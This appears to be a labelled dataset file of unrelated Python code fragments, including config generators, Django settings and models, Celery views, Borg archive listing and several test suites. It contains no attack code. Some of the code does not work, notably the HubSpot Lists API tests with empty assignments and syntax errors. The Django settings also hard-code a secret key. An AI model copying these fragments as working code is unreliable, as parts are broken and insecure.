opt_type = OPTION_REGEX.search(str(type(opt))).group(0) except (ValueError, AttributeError) as err: sys.stderr.write(""%s\n"" % str(err)) sys.exit(1) opt_help = u'%s (%s)' % (opt_help, OPT_TYPES[opt_type]) print('#', ""\n# "".join(textwrap.wrap(opt_help, WORDWRAP_WIDTH))) if opt.deprecated_opts: for deprecated_opt in opt.deprecated_opts: if deprecated_opt.name: deprecated_group = (deprecated_opt.group if deprecated_opt.group else ""DEFAULT"") print('# Deprecated group/name - [%s]/%s' % (deprecated_group, deprecated_opt.name)) try: if opt_default is None: print('#%s=' % opt_name) elif opt_type == STROPT: assert(isinstance(opt_default, six.string_types)) print('#%s=%s' % (opt_name, _sanitize_default(opt_name, opt_default))) elif opt_type == BOOLOPT: assert(isinstance(opt_default, bool)) print('#%s=%s' % (opt_name, str(opt_default).lower())) elif opt_type == INTOPT: assert(isinstance(opt_default, int) and not isinstance(opt_default, bool)) print('#%s=%s' % (opt_name, opt_default)) elif opt_type == FLOATOPT: assert(isinstance(opt_default, float)) print('#%s=%s' % (opt_name, opt_default)) elif opt_type == LISTOPT: assert(isinstance(opt_default, list)) print('#%s=%s' % (opt_name, ','.join(opt_default))) elif opt_type == DICTOPT: assert(isinstance(opt_default, dict)) opt_default_strlist = [str(key) + ':' + str(value) for (key, value) in opt_default.items()] print('#%s=%s' % (opt_name, ','.join(opt_default_strlist))) elif opt_type == MULTISTROPT: assert(isinstance(opt_default, list)) if not opt_default: opt_default = [''] for default in opt_default: print('#%s=%s' % (opt_name, default)) print('') except Exception: sys.stderr.write('Error in option ""%s""\n' % opt_name) sys.exit(1) def main(): generate(sys.argv[1:]) if __name__ == '__main__': main() ",1 " ind = app.project.get_project_list().index(project) app.project.delete_named_project(project) except ValueError: pass old_projects = app.project.get_project_list() app.project.create(project) new_projects = app.project.get_project_list() assert len(old_projects) + 1 == len(new_projects) old_projects.append(project) assert sorted(old_projects,key=Project.id_or_max) == sorted(new_projects,key=Project.id_or_max) ",1 "_action(user, verb, target=None): now = timezone.now() last_minute = now - datetime.timedelta(seconds=60) similar_actions = Action.objects.filter(user_id=user.id, verb=verb, created__gte=last_minute) if target: target_ct = ContentType.objects.get_for_model(target) similar_actions = Action.objects.filter(target_ct=target_ct, target_id=target.id) if not similar_actions: action = Action(user=user, verb=verb, target=target) action.save() return True return False ",1 "when the user toggles the selection def selection_toggled(self, widget, window): if widget.get_active(): self.have_selection = window.selection_owner_set(""PRIMARY"") # if claiming the selection failed, we return the button to # the out state if not self.have_selection: widget.set_active(False) else: if self.have_selection: # Not possible to release the selection in PyGTK # just mark that we don't have it self.have_selection = False return # Called when another application claims the selection def selection_clear(self, widget, event): self.have_selection = False widget.set_active(False) return True # Supplies the current time as the selection. def selection_handle(self, widget, selection_data, info, time_stamp): current_time = time.time() timestr = time.asctime(time.localtime(current_time)) # When we return a single string, it should not be null terminated. # That will be done for us selection_data.set_text(timestr, len(timestr)) return def __init__(self): self.have_selection = False # Create the toplevel window window = gtk.Window(gtk.WINDOW_TOPLEVEL) window.set_title(""Set Selection"") window.set_border_width(10) window.connect(""destroy"", lambda w: gtk.main_quit()) self.window = window # Create an eventbox to hold the button since it no longer has # a GdkWindow eventbox = gtk.EventBox() eventbox.show() window.add(eventbox) # Create a toggle button to act as the selection selection_button = gtk.ToggleButton(""Claim Selection"") eventbox.add(selection_button) selection_button.connect(""toggled"", self.selection_toggled, eventbox) eventbox.connect_object(""selection_clear_event"", self.selection_clear, selection_button) eventbox.selection_add_target(""PRIMARY"", ""STRING"", 1) eventbox.selection_add_target(""PRIMARY"", ""COMPOUND_TEXT"", 1) eventbox.connect(""selection_get"", self.selection_handle) selection_button.show() window.show() def main(): gtk.main() return 0 if __name__ == ""__main__"": SetSelectionExample() main() ",1 "zy as _ from .managers import QueueManager, MessageManager class Queue(models.Model): name = models.CharField(_('name'), max_length=200, unique=True) objects = QueueManager() class Meta: if django.VERSION >= (1, 7): app_label = 'karellen_kombu_transport_django' db_table = 'djkombu_queue' verbose_name = _('queue') verbose_name_plural = _('queues') class Message(models.Model): visible = models.BooleanField(default=True, db_index=True) sent_at = models.DateTimeField(null=True, blank=True, db_index=True, auto_now_add=True) payload = models.TextField(_('payload'), null=False) queue = models.ForeignKey(Queue, related_name='messages') objects = MessageManager() class Meta: if django.VERSION >= (1, 7): app_label = 'karellen_kombu_transport_django' db_table = 'djkombu_message' verbose_name = _('message') verbose_name_plural = _('messages') ",1 "e except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ",1 ") import django DEBUG = True TEMPLATE_DEBUG = DEBUG ADMINS = ( ('Justin Quick', 'justquick@gmail.com'), ) ENGINE = os.environ.get('DATABASE_ENGINE', 'django.db.backends.sqlite3') DATABASES = { 'default': { 'ENGINE': ENGINE, 'NAME': 'test', 'OPTIONS': { } } } if 'postgres' in ENGINE or 'mysql' in ENGINE: USER, PASSWORD = 'test', 'test' if os.environ.get('TRAVIS', False): if 'mysql' in ENGINE: USER, PASSWORD = 'travis', '' else: USER, PASSWORD = 'postgres', '' DATABASES['default'].update( USER=os.environ.get('DATABASE_USER', USER), PASSWORD=os.environ.get('DATABASE_PASSWORD', PASSWORD), HOST=os.environ.get('DATABASE_HOST', 'localhost') ) print(ENGINE) # Local time zone for this installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be available on all operating systems. # If running in a Windows environment this must be set to the same as your # system time zone. TIME_ZONE = 'America/New_York' # Language code for this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID = 1 # If you set this to False, Django will make some optimizations so as not # to load the internationalization machinery. USE_I18N = True # Absolute path to the directory that holds media. # Example: ""/home/media/media.lawrence.com/"" MEDIA_ROOT = 'media' # URL that handles the media served from MEDIA_ROOT. Make sure to use a # trailing slash if there is a path component (optional in other cases). # Examples: ""http://media.lawrence.com"", ""http://example.com/media/"" MEDIA_URL = '/media/' # Make this unique, and don't share it with anybody. SECRET_KEY = 'wzf0h@r2u%m^_zgj^39-y(kd%+n+j0r7=du(q0^s@q1asdfasdfasdft%^2!p' # List of callables that know how to import templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', ) ROOT_URLCONF = 'actstream.runtests.urls' TEMPLATE_DIRS = ( 'templates', # Put strings here, like ""/home/html/django_templates"" or ""C:/www/django/templates"". # Always use forward slashes, even on Windows. # Don't forget to use absolute paths, not relative paths. ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.admin', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.admindocs', 'django.contrib.sites', 'django.contrib.comments', 'actstream.runtests.testapp', 'actstream.runtests.testapp_nested', 'actstream', ) TEMPLATE_CONTEXT_PROCESSORS = ( 'django.contrib.auth.context_processors.auth', 'django.core.context_processors.debug', 'django.core.context_processors.i18n', 'django.core.context_processors.media', 'django.core.context_processors.request', ) ACTSTREAM_SETTINGS = { 'MANAGER': 'actstream.runtests.testapp.streams.MyActionManager', 'FETCH_RELATIONS': True, 'USE_PREFETCH': True, 'USE_JSONFIELD': True, 'GFK_FETCH_DEPTH': 0, } if django.VERSION[:2] >= (1, 5): AUTH_USER_MODEL = 'testapp.MyUser' TEST_RUNNER = 'django.test.simple.DjangoTestSuiteRunner' if 'COVERAGE' in os.environ: INSTALLED_APPS += ('django_coverage',) TEST_RUNNER = 'django_coverage.coverage_runner.CoverageRunner' COVERAGE_REPORT_HTML_OUTPUT_DIR = 'coverage' COVERAGE_REPORT_DATA_FILE = '.coverage' ",1 "or from django.http import HttpResponse from djcelery import celery from openedx.core.djangoapps.service_status.tasks import delayed_ping def index(_): """""" An empty view """""" return HttpResponse() def celery_status(_): """""" A view that returns Celery stats """""" stats = celery.control.inspect().stats() or {} return HttpResponse(json.dumps(stats, indent=4), content_type=""application/json"") def celery_ping(_): """""" A Simple view that checks if Celery can process a simple task """""" start = time.time() result = delayed_ping.apply_async(('ping', 0.1)) task_id = result.id # Wait until we get the result try: value = result.get(timeout=4.0) success = True except TimeoutError: value = None success = False output = { 'success': success, 'task_id': task_id, 'value': value, 'time': time.time() - start, } return HttpResponse(json.dumps(output, indent=4), content_type=""application/json"") ",1 "text): self.text = text self.clicked = Signal() class MyMusicUiManager: """""" .. note:: 目前,我们用数组的数据结构来保存 items,只提供 add_item 和 clear 方法。 我们希望,MyMusic 中的 items 应该和 provider 保持关联。provider 是 MyMusic 的上下文。 而 Provider 是比较上层的对象,我们会提供 get_item 这种比较精细的控制方法。 """""" def __init__(self, app): self._app = app self._items = [] self.model = MyMusicModel(app) @classmethod def create_item(cls, text): return MyMusicItem(text) def add_item(self, item): self.model.add(item) self._items.append(item) def clear(self): self._items.clear() self.model.clear() ",1 "rpose, used as subtitle on modules listing or apps.openerp.com"""""", 'description': """""" Long description of module's purpose """""", 'author': ""Jörn Mankiewicz"", 'website': ""http://www.yourcompany.com"", # Categories can be used to filter modules in modules listing # Check https://github.com/odoo/odoo/blob/master/openerp/addons/base/module/module_data.xml # for the full list 'category': 'Uncategorized', 'version': '8.0.0.1', # any module necessary for this one to work correctly 'depends': ['base','hr_attendance','hr_timesheet_improvement'], # always loaded 'data': [ # 'security/ir.model.access.csv', 'views/hr_attendance.xml', ], # only loaded in demonstration mode 'demo': [ 'demo.xml', ], } ",1 ".getLogger(__name__) # A hack to convince Borg to exclude archives ending in "".checkpoint"". This assumes that a # non-checkpoint archive name ends in a digit (e.g. from a timestamp). BORG_EXCLUDE_CHECKPOINTS_GLOB = '*[0123456789]' def resolve_archive_name(repository, archive, storage_config, local_path='borg', remote_path=None): ''' Given a local or remote repository path, an archive name, a storage config dict, a local Borg path, and a remote Borg path, simply return the archive name. But if the archive name is ""latest"", then instead introspect the repository for the latest successful (non-checkpoint) archive, and return its name. Raise ValueError if ""latest"" is given but there are no archives in the repository. ''' if archive != ""latest"": return archive lock_wait = storage_config.get('lock_wait', None) full_command = ( (local_path, 'list') + (('--info',) if logger.getEffectiveLevel() == logging.INFO else ()) + (('--debug', '--show-rc') if logger.isEnabledFor(logging.DEBUG) else ()) + make_flags('remote-path', remote_path) + make_flags('lock-wait', lock_wait) + make_flags('glob-archives', BORG_EXCLUDE_CHECKPOINTS_GLOB) + make_flags('last', 1) + ('--short', repository) ) output = execute_command(full_command, output_log_level=None, borg_local_path=local_path) try: latest_archive = output.strip().splitlines()[-1] except IndexError: raise ValueError('No archives found in the repository') logger.debug('{}: Latest archive is {}'.format(repository, latest_archive)) return latest_archive def list_archives(repository, storage_config, list_arguments, local_path='borg', remote_path=None): ''' Given a local or remote repository path, a storage config dict, and the arguments to the list action, display the output of listing Borg archives in the repository or return JSON output. Or, if an archive name is given, listing the files in that archive. ''' lock_wait = storage_config.get('lock_wait', None) if list_arguments.successful: list_arguments.glob_archives = BORG_EXCLUDE_CHECKPOINTS_GLOB full_command = ( (local_path, 'list') + ( ('--info',) if logger.getEffectiveLevel() == logging.INFO and not list_arguments.json else () ) + ( ('--debug', '--show-rc') if logger.isEnabledFor(logging.DEBUG) and not list_arguments.json else () ) + make_flags('remote-path', remote_path) + make_flags('lock-wait', lock_wait) + make_flags_from_arguments( list_arguments, excludes=('repository', 'archive', 'paths', 'successful') ) + ( '::'.join((repository, list_arguments.archive)) if list_arguments.archive else repository, ) + (tuple(list_arguments.paths) if list_arguments.paths else ()) ) return execute_command( full_command, output_log_level=None if list_arguments.json else logging.WARNING, borg_local_path=local_path, ) ",1 " import frappe import erpnext import unittest from frappe.utils import nowdate, add_days from erpnext.tests.utils import create_test_contact_and_address from erpnext.stock.doctype.delivery_trip.delivery_trip import notify_customers, get_contact_and_address class TestDeliveryTrip(unittest.TestCase): def setUp(self): create_driver() create_vehicle() create_delivery_notfication() create_test_contact_and_address() def test_delivery_trip(self): contact = get_contact_and_address(""_Test Customer"") if not frappe.db.exists(""Delivery Trip"", ""TOUR-00000""): delivery_trip = frappe.new_doc(""Delivery Trip"") delivery_trip.company = erpnext.get_default_company() delivery_trip.date = add_days(nowdate(), 5) delivery_trip.driver = ""DRIVER-00001"" delivery_trip.vehicle = ""JB 007"" delivery_trip.append(""delivery_stops"", { ""customer"": ""_Test Customer"", ""address"": contact.shipping_address.parent, ""contact"": contact.contact_person.parent }) delivery_trip.delivery_notification = 'Delivery Notification' delivery_trip.insert() sender_email = frappe.db.get_value(""User"", frappe.session.user, ""email"") notify_customers(docname=delivery_trip.name, date=delivery_trip.date, driver=delivery_trip.driver, vehicle=delivery_trip.vehicle, sender_email=sender_email, delivery_notification=delivery_trip.delivery_notification) self.assertEquals(delivery_trip.get(""delivery_stops"")[0].notified_by_email, 0) def create_driver(): if not frappe.db.exists(""Driver"", ""Newton Scmander""): driver = frappe.new_doc(""Driver"") driver.full_name = ""Newton Scmander"" driver.cell_number = ""98343424242"" driver.license_number = ""B809"" driver.insert() def create_delivery_notfication(): if not frappe.db.exists(""Standard Reply"", ""Delivery Notification""): frappe.get_doc({ 'doctype': 'Standard Reply', 'name': 'Delivery Notification', 'response': 'Test Delivery Trip', 'subject': 'Test Subject', 'owner': frappe.session.user }).insert() def create_vehicle(): if not frappe.db.exists(""Vehicle"", ""JB 007""): vehicle = frappe.get_doc({ ""doctype"": ""Vehicle"", ""license_plate"": ""JB 007"", ""make"": ""Maruti"", ""model"": ""PCM"", ""last_odometer"": 5000, ""acquisition_date"": frappe.utils.nowdate(), ""location"": ""Mumbai"", ""chassis_no"": ""1234ABCD"", ""uom"": ""Litre"", ""vehicle_value"": frappe.utils.flt(500000) }) vehicle.insert() ",1 "nx import numpy as np from mpl_toolkits.mplot3d import Axes3D import stitcher SPACE = 25 TYPE_FORMAT = {'a': '^', 'b': 's', 'c': 'v'} def show(graphs, request, titles, prog='neato', size=None, type_format=None, filename=None): """""" Display the results using matplotlib. """""" if not size: size = _get_size(len(graphs)) fig, axarr = plt.subplots(size[0], size[1], figsize=(18, 10)) fig.set_facecolor('white') x_val = 0 y_val = 0 index = 0 if size[0] == 1: axarr = np.array(axarr).reshape((1, size[1])) for candidate in graphs: # axarr[x_val, y_val].axis('off') axarr[x_val, y_val].xaxis.set_major_formatter(plt.NullFormatter()) axarr[x_val, y_val].yaxis.set_major_formatter(plt.NullFormatter()) axarr[x_val, y_val].xaxis.set_ticks([]) axarr[x_val, y_val].yaxis.set_ticks([]) axarr[x_val, y_val].set_title(titles[index]) # axarr[x_val, y_val].set_axis_bgcolor(""white"") if not type_format: type_format = TYPE_FORMAT _plot_subplot(candidate, request.nodes(), prog, type_format, axarr[x_val, y_val]) y_val += 1 if y_val > size[1] - 1: y_val = 0 x_val += 1 index += 1 fig.tight_layout() if filename is not None: plt.savefig(filename) else: plt.show() plt.close() def _plot_subplot(graph, new_nodes, prog, type_format, axes): """""" Plot a single candidate graph. """""" pos = nx.nx_agraph.graphviz_layout(graph, prog=prog) # draw the nodes for node, values in graph.nodes(data=True): shape = 'o' if values[stitcher.TYPE_ATTR] in type_format: shape = type_format[values[stitcher.TYPE_ATTR]] color = 'g' alpha = 0.8 if node in new_nodes: color = 'b' alpha = 0.2 elif 'rank' in values and values['rank'] > 7: color = 'r' elif 'rank' in values and values['rank'] < 7 and values['rank'] > 3: color = 'y' nx.draw_networkx_nodes(graph, pos, nodelist=[node], node_color=color, node_shape=shape, alpha=alpha, ax=axes) # draw the edges dotted_line = [] normal_line = [] for src, trg in graph.edges(): if src in new_nodes and trg not in new_nodes: dotted_line.append((src, trg)) else: normal_line.append((src, trg)) nx.draw_networkx_edges(graph, pos, edgelist=dotted_line, style='dotted', ax=axes) nx.draw_networkx_edges(graph, pos, edgelist=normal_line, ax=axes) # draw labels nx.draw_networkx_labels(graph, pos, ax=axes) def show_3d(graphs, request, titles, prog='neato', filename=None): """""" Show the candidates in 3d - the request elevated above the container. """""" fig = plt.figure(figsize=(18, 10)) fig.set_facecolor('white') i = 0 size = _get_size(len(graphs)) for graph in graphs: axes = fig.add_subplot(size[0], size[1], i+1, projection=Axes3D.name) axes.set_title(titles[i]) axes._axis3don = False _plot_3d_subplot(graph, request, prog, axes) i += 1 fig.tight_layout() if filename is not None: plt.savefig(filename) else: plt.show() plt.close() def _plot_3d_subplot(graph, request, prog, axes): """""" Plot a single candidate graph in 3d. """""" cache = {} tmp = graph.copy() for node in request.nodes(): tmp.remove_node(node) pos = nx.nx_agraph.graphviz_layout(tmp, prog=prog) # the container for item in tmp.nodes(): axes.plot([pos[item][0]], [pos[item][1]], [0], linestyle=""None"", marker=""o"", color='gray') axes.text(pos[item][0], pos[item][1], 0, item) for src, trg in tmp.edges(): axes.plot([pos[src][0], pos[trg][0]], [pos[src][1], pos[trg][1]], [0, 0], color='gray') # the new nodes for item in graph.nodes(): if item in request.nodes(): for nghb in graph.neighbors(item): if nghb in tmp.nodes(): x_val = pos[nghb][0] y_val = pos[nghb][1] if (x_val, y_val) in list(cache.values()): x_val = pos[nghb][0] + random.randint(10, SPACE) y_val = pos[nghb][0] + random.randint(10, SPACE) cache[item] = (x_val, y_val) # edge axes.plot([x_val, pos[nghb][0]], [y_val, pos[nghb][1]], [SPACE, 0], color='blue') axes.plot([x_val], [y_val], [SPACE], linestyle=""None"", marker=""o"", color='blue') axes.text(x_val, y_val, SPACE, item) for src, trg in request.edges(): if trg in cache and src in cache: axes.plot([cache[src][0], cache[trg][0]], [cache[src][1], cache[trg][1]], [SPACE, SPACE], color='blue') def _get_size(n_items): """""" Calculate the size of the subplot layouts based on number of items. """""" n_cols = math.ceil(math.sqrt(n_items)) n_rows = math.floor(math.sqrt(n_items)) if n_cols * n_rows < n_items: n_cols += 1 return int(n_rows), int(n_cols) ",1 "ard.splitlines()]) t = trim_board def test_new_board(): game.Board(3,3).ascii() == t("""""" ... ... ... """""") game.Board(4,3).ascii() == t("""""" .... .... .... """""") game.Board(3,4).ascii() == t("""""" ... ... ... ... """""") def test_game(): board = game.Board(3,3,win=3) assert board.count_tokens == 0 assert board.game_status == 'active' assert board.turn_color == None # drop first token token = board.drop('x',0) assert board.game_status == 'active' assert token.position == (0,0) assert token.color == 'x' assert board.ascii() == t("""""" ... ... x.. """""") assert board.count_tokens == 1 assert board.turn_color == 'o' # drop second token token = board.drop('o',0) assert board.game_status == 'active' assert token.position == (0,1) assert token.color == 'o' assert board.ascii() == t("""""" ... o.. x.. """""") assert board.count_tokens == 2 assert board.turn_color == 'x' # dropping the wrong color should raise an error with pytest.raises(Exception): token = board.drop('o',1) # drop third token token = board.drop('x',1) assert board.game_status == 'active' assert token.position == (1,0) assert token.color == 'x' board.ascii() == t("""""" ... o.. xx. """""") assert board.count_tokens == 3 assert board.turn_color == 'o' # drop fourth token token = board.drop('o',0) assert board.game_status == 'active' assert token.position == (0,2) assert token.color == 'o' board.ascii() == t("""""" o.. o.. xx. """""") assert board.count_tokens == 4 # drop fifth token token = board.drop('x',2) assert board.game_status == 'over' assert board.won_by == 'x' assert token.position == (2,0) assert token.color == 'x' board.ascii() == t("""""" o.. o.. xxx """""") assert board.count_tokens == 5 def test_load_board(): """""" The Board class should provide a load method to load a predefined board. the load method should be implemented as a static method like this: >>> class Test: >>> @staticmethod >>> def a_static_factory(): >>> t = Test() >>> # do something with t and return it >>> return t the load function accepts a board layout. It retrieves the dimensions of the board and loads the provided data into the board. """""" board = game.Board.load(t("""""" o.. o.. xxx """""")) def test_axis_strings(): board = game.Board.load(t("""""" o.. o.. xxx """""")) # get the axis strings in this order: | \ / - axis_strings = board.axis_strings(0,0) assert axis_strings[0] == 'xoo' assert axis_strings[1] == 'x' assert axis_strings[2] == 'x..' assert axis_strings[3] == 'xxx' # the winner :-) assert board.won_by == 'x' ",1 "Case): """""" Unit tests for the HubSpot List API Python wrapper (hapipy) client. This file contains some unittest tests for the List API. Questions, comments, etc: http://developers.hubspot.com """""" def setUp(self): self.client = ListsClient(**helper.get_options()) def tearDown(self): pass @attr('api') def test_get_list(self): # create a list to get dummy_data = json.dumps(dict( name='try_and_get_me', dynamic=False, portalId=PORTAL_ID )) created_list = self.client.create_list(dummy_data) # make sure it was created self.asserTrue(len(created_list['lists'])) # the id number of the list the test is trying to get id_to_get = created_list['listID'] # try and get it recieved_lists = self.client.get_list(id_to_get) # see if the test got the right list self.assertEqual(recieved_lists['lists'][0]['listId'], created_list['listId']) print ""Got this list: %s"" % json.dumps(recieved_list['lists'][0]) # clean up self.client.delete_list(id_to_get) @attr('api') def test_get_batch_lists(self): # holds the ids of the lists being retrieved list_ids = [] # make a list to get dummy_data = json.dumps(dict( name='first_test_list', dynamic=False, portalId=PORTAL_ID )) created_list = self.client.create_list(dummy_data) # make sure it was actually made self.assertTrue(created_list['listID']) # put the id of the newly made list in list_ids list_ids[0] = created_list['listId'] #change the data a little and make another list dummy_data['name'] = 'second_test_list' created_list = self.client.create_list(dummy_data) # make sure itwas actually made self.assertTrue(created_list['listID']) # put the id number in list_ids list_ids[1] = created_list['listId'] # try and get them batch_lists = self.client.get_batch_lists(list_ids) # make sure you got as many lists as you were searching for self.assertEqual(len(list_ids), len(batch_lists['lists'])) # clean up self.client.delete_list(list_ids[0]) self.client.delete_list(list_ids[1]) @attr('api') def test_get_lists(self): # try and get lists recieved_lists = self.client.get_lists() # see if the test got at least one if len(recieved_lists['lists']) == 0: self.fail(""Unable to retrieve any lists"") else: print ""Got these lists %s"" % json.dumps(recieved_lists) @attr('api') def test_get_static_lists(self): # create a static list to get dummy_data = json.dumps(dict( name='static_test_list', dynamic=False, portalId=PORTAL_ID )) created_list = self.client.create_list(dummy_data) # make sure it was actually made self.assertTrue(created_list['listID']) # this call will return 20 lists if not given another value static_lists = self.client.get_static_lists() if len(static_lists['lists']) == 0: self.fail(""Unable to retrieve any static lists"") else: print ""Found these static lists: %s"" % json.dumps(static_lists) # clean up self.client.delete_list(created_list['listId']) @attr('api') def test_get_dynamic_lists(self): # make a dynamic list to get dummy_data = json.dumps(dict( name='test_dynamic_list', dynamic=True, portalId=PORTAL_ID )) created_list = self.client.create_list(dummy_data) # make sure the dynamic list was made self.assertTrue(created_list['listId']) dynamic_lists = self.client.get_dynamic_lists() if len(dynamic_lists['lists']) == 0: self.fail(""Unable to retrieve any dynamic lists"") else: print ""Found these dynamic lists: %s"" % json.dumps(dynamic_lists) # clean up self.client.delete_list(created_list['listId']) @attr('api') def test_get_list_contacts(self): # the id number of the list you want the contacts of # which_list = # try and get the contacts contacts = self.client.get_list_contacts(which_list) # make sure you get at least one self.assertTrue(len(contacts['contacts']) print ""Got these contacts: %s from this list: %s"" % json.dumps(contacts), which_list) @attr('api') def test_get_list_contacts_recent(self): # the id number of the list you want the recent contacts of which_list = recent_contacts = self.client.get_list_contacts_recent(which_list) if len(recent_contacts['lists']) == 0: self.fail(""Did not find any recent contacts"") else: print ""Found these recent contacts: %s"" % json.dumps(recent_conacts) @attr('api') def test_create_list(self): # the data for the list the test is making dummy_data = json.dumps(dict( list_name='test_list', dynamic=False, portalId=PORTAL_ID )) # try and make the list created_list = self.client.create_list(dummy_data) # make sure it was created if len(created_lists['lists']) == 0: self.fail(""Did not create the list"") else: print ""Created this list: %s"" % json.dumps(created_lists) # clean up self.client.delete_list(created_lists['lists'][0]['listId']) @attr('api') def test_update_list(self): # make a list to update dummy_data = json.dumps(dict( name='delete_me', dynamic=False, portalId=PORTAL_ID )) created_list = self.client.create_list(dummy_data) # make sure it was actually made self.assertTrue(len(created_list['listId'])) # get the id number of the list update_list_id = created_list['listId'] # this is the data updating the list update_data = json.dumps(dict( list_name='really_delete_me', )) # try and do the update http_response = self.client.update_list(update_list_id, update_data) if http_response >= 400: self.fail(""Unable to update list!"") else: print(""Updated a list!"") # clean up self.client.delete_list(update_list_id) @attr('api') def test_add_contacts_to_list_from_emails(self): # make a list to add contacts to dummy_data = json.dumps(dict( name='give_me_contact_emails', dynamic=False, portalId=PORTAL_ID )) created_list = self.client.create_list(dummy_data) # make sure it was actually made self.assertTrue(len(created_list['lists'])) # the id number of the list being added to which_list = created_list['listId'] # the emails of the contacts being added emails = json.dumps(dict( emails )) # try and add the contacts self.client.add_contacts_to_list_from_emails(which_list, emails) @attr('api') def test_add_contact_to_list(self): # make a list to add a contact to dummy_data = json.dumps(dict( name='add_a_contact', dynamic=False, portalId=PORTAL_ID )) created_list = self.client.create_list(dummy_data) # make sure it was actually made self.assertTrue(created_list['listId']) # the id number of the list the contact is being added to which_list = created_list['listId'] # the id number of the contact being added to the list which_contact = added = self.client.add_contact_to_list(which_list, which_contact) if added['updated'] == which_contact: print ""Succesfully added contact: %s to list: %s"" % which_contact, which_list # if it worked, clean up self.client.delete_list(which_list) else: self.fail(""Did not add contact: %s to list: %a"" % which_contact, which_list) @attr('api') def test_remove_contact_from_list(self): # make a list to remove a contact from fake_data = json.dumps(dict( name='remove_this_contact' dynamic=False, portalId=PORTAL_ID )) created_list = self.client.create_list(fake_data) # make sure it was actually made self.assertTrue(created_list['listId']) # the id number of the list the contact is being deleted from which_list = created_list['listId'] # the id number of the contact being deleted which_contact = # put the contact in the list so it can be removed added = self.client.add_contact_to_list(which_list, which_contact) # make sure it was added self.assertTrue(added['updated']) # try and remove it removed = self.client.remove_contact_from_list(which_list, which_contact) # check if it was actually removed if removed['updated'] == which_contact: print ""Succesfully removed contact: %s from list: %s"" % which_contact, which_list # clean up self.client.delete_list(created_list['listId']) else: self.fail(""Did not remove contact %s from list: %s"" % which_contact, which_list) @attr('api') def test_delete_list(self): # make a list to delete dummy_data = json.dumps(dict( name='should_be_deleted', dynamic=False, portalId=PORTAL_ID )) created_list = self.client.create_list(dummy_data) # check if it was actually made self.assertTrue(created_list['listId']) # the id number of the list being deleted id_to_delete = created_list['listId'] # try deleting it self.client.delete_list(id_to_delete) # try and get the list that should have been deleted check = self.client.get_list(id_to_delete) # check should not have any lists self.assertEqual(len(check['lists']), 0) print ""Sucessfully deleted a test list"" @attr('api') def test_refresh_list(self): # make a dynamic list to refresh dummy_data = json.dumps(dict( name='refresh_this_list', dynamic=True, portalId=PORTAL_ID )) created_list = self.client.create_list(dummy_data) # make sure it actually made the list self.assertTrue(created_list['listId']) # do the refresh refresh_response = self.client.refresh_list(created_list['listId']) # check if it worked if refresh_response >= 400: self.fail(""Failed to refresh list: %s"" % json.dumps(created_list)) else: print ""Succesfully refreshed list: %s"" % json.dumps(created_list) # clean up self.client.delete_list(created_list['listId']) if __name__ == ""__main__"": unittest2.main() ",1 "ys import popupcad import qt.QtCore as qc import qt.QtGui as qg if __name__=='__main__': app = qg.QApplication(sys.argv[0]) filename_from = 'C:/Users/danaukes/Dropbox/zhis sentinal 11 files/modified/sentinal 11 manufacturing_R08.cad' filename_to = 'C:/Users/danaukes/Dropbox/zhis sentinal 11 files/modified/sentinal 11 manufacturing_R09.cad' d = popupcad.filetypes.design.Design.load_yaml(filename_from) widget = qg.QDialog() layout = qg.QVBoxLayout() layout1 = qg.QHBoxLayout() layout2 = qg.QHBoxLayout() list1 = qg.QListWidget() list2 = qg.QListWidget() button_ok = qg.QPushButton('Ok') button_cancel = qg.QPushButton('Cancel') subdesign_list = list(d.subdesigns.values()) for item in subdesign_list: list1.addItem(str(item)) list2.addItem(str(item)) layout1.addWidget(list1) layout1.addWidget(list2) layout2.addWidget(button_ok) layout2.addWidget(button_cancel) layout.addLayout(layout1) layout.addLayout(layout2) widget.setLayout(layout) button_ok.pressed.connect(widget.accept) button_cancel.pressed.connect(widget.reject) if widget.exec_(): if len(list1.selectedIndexes())==1 and len(list2.selectedIndexes())==1: ii_from = list1.selectedIndexes()[0].row() ii_to = list2.selectedIndexes()[0].row() print(ii_from,ii_to) d.replace_subdesign_refs(subdesign_list[ii_from].id,subdesign_list[ii_to].id) d.subdesigns.pop(subdesign_list[ii_from].id) d.save_yaml(filename_to) sys.exit(app.exec_())",1 "n Marshal::MAJOR_VERSION"") assert space.int_w(w_res) == 4 w_res = space.execute(""return Marshal::MINOR_VERSION"") assert space.int_w(w_res) == 8 w_res = space.execute(""return Marshal.dump('test')[0].ord"") assert space.int_w(w_res) == 4 w_res = space.execute(""return Marshal.dump('test')[1].ord"") assert space.int_w(w_res) == 8 def test_dump_constants(self, space): w_res = space.execute(""return Marshal.dump(nil)"") assert space.str_w(w_res) == ""\x04\b0"" w_res = space.execute(""return Marshal.dump(true)"") assert space.str_w(w_res) == ""\x04\bT"" w_res = space.execute(""return Marshal.dump(false)"") assert space.str_w(w_res) == ""\x04\bF"" def test_load_constants(self, space): w_res = space.execute(""return Marshal.load('\x04\b0')"") assert w_res == space.w_nil w_res = space.execute(""return Marshal.load('\x04\bT')"") assert w_res == space.w_true w_res = space.execute(""return Marshal.load('\x04\bF')"") assert w_res == space.w_false def test_constants(self, space): w_res = space.execute(""return Marshal.load(Marshal.dump(nil))"") assert w_res == space.w_nil w_res = space.execute(""return Marshal.load(Marshal.dump(true))"") assert w_res == space.w_true w_res = space.execute(""return Marshal.load(Marshal.dump(false))"") assert w_res == space.w_false def test_dump_tiny_integer(self, space): w_res = space.execute(""return Marshal.dump(5)"") assert space.str_w(w_res) == ""\x04\bi\n"" w_res = space.execute(""return Marshal.dump(100)"") assert space.str_w(w_res) == ""\x04\bii"" w_res = space.execute(""return Marshal.dump(0)"") 